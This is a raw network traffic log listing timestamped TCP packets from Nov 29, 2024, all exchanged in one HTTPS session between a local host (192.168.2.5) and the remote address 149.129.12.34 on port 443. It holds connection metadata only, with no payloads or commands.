Nov 29, 2024 15:45:42.068634987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.068641901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.068685055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.074136019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.074151993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.074204922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.074210882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.074249983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.079027891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.079046965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.079108953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.079117060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.079152107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.084232092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.084248066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.084312916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.084321022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.084362030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.087054014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.287708998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.287736893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.287779093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.287789106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.287802935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.287832975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.292633057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.292659044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.292694092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.292705059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.292717934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.292747021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.298454046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.298480034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.298511982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.298517942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.298542023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.298567057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.303657055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.303683996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.303740025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.303745985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.303796053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.308514118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.308537960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.308573961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.308578968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.308604002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.308626890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.314429045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.314465046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.314515114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.314522028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.314564943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.319324017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.319348097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.319382906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.319390059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.319412947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.319432020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.324860096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.324876070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.324929953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.324937105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.324948072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.324978113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.498883963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.498910904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.499042034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.499059916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.502479076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.503701925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.503725052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.503791094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.503798962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.506483078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.509186983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.509207964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.509259939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.509268045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.510473967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.515135050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.515152931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.515185118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.515192986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.515217066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.515233040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.519706964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.519723892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.519783974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.519790888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.519825935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.525552034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.525568962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.525650978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.525659084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.526622057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.530528069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.530549049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.530608892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.530616999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.534497976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.536324024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.536344051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.536397934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.536405087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.538477898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.547828913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.719881058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.719908953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.720269918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.720294952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.720350981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.725347996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.725368023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.725442886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.725450993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.725509882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.730375051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.730396986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.730463028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.730472088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.730523109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.735846996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.735866070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.735940933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.735949039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.736378908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.740979910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.740998030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.741060972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.741069078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.741127968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.746628046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.746644974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.746715069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.746722937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.746825933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.749855042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.752017975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.752033949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.752114058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.752120972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.752317905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.756947994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.756977081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.757024050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.757036924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.757059097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.757075071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.762151003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.930555105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.930587053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.930649996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.930664062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.930713892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.930758953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.935952902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.935976982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.936012030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.936018944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.936036110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.936067104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.941493034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.941508055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.941540956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.941545963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.941579103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.941595078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.946414948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.946429014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.946471930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.946479082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.946511984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.951826096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.951841116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.951865911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.951875925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.951889992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.951917887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.957221031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.957238913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.957267046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.957273006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.957294941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.957314968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.962672949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.962692976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.962723970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.962729931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.962749958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.962764978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.968233109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.968266964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.968297958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.968303919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:42.968326092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.968339920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:42.969379902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.182828903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.182846069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.182868004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.182923079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.182950020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.182975054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.182992935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.187660933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.187689066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.187721968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.187727928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.187752008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.187784910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.193233013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.193269014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.193300009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.193305016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.193336010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.193350077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.198868036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.198892117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.198925972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.198931932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.198956013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.198973894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.204063892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.204088926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.204121113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.204132080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.204150915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.204169989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.209527016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.209551096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.209585905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.209593058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.209619999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.209635973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.213272095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.214437008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.214453936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.214504004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.214512110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.214559078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.219975948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.219990969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.220041990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.220050097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.220113039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.222470999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.393181086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.393205881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.393273115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.393296957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.393325090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.393346071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.398669958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.398694992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.398735046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.398742914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.398767948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.398787975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.404222012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.404247046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.404284954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.404290915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.404323101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.404335976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.409115076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.409142017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.409209013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.409214973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.409332991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.414961100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.414997101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.415033102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.415038109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.415066004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.415082932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.419909000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.419935942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.420001030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.420006990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.420046091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.425486088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.425509930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.425548077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.425554991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.425582886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.425606012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.430478096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.430927038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.430953026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.430996895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.431003094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.431034088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.431044102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.458857059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.603892088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.603919029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.604052067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.604064941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.604110003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.609460115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.609476089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.609535933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.609543085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.609587908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.614433050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.614449024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.614610910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.614622116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.614656925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.619875908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.619891882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.619949102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.619956970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.619997025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.625063896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.625080109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.625133991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.625142097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.625195980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.630623102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.630637884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.630690098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.630703926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.630744934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.633038044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.636080027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.636097908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.636137009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.636152983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.636193991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.636213064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.640223026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.640966892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.640981913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.641021967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.641047001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.641077042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.641092062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.663507938 CET	49704	443	192.168.2.5	149.129.12.34
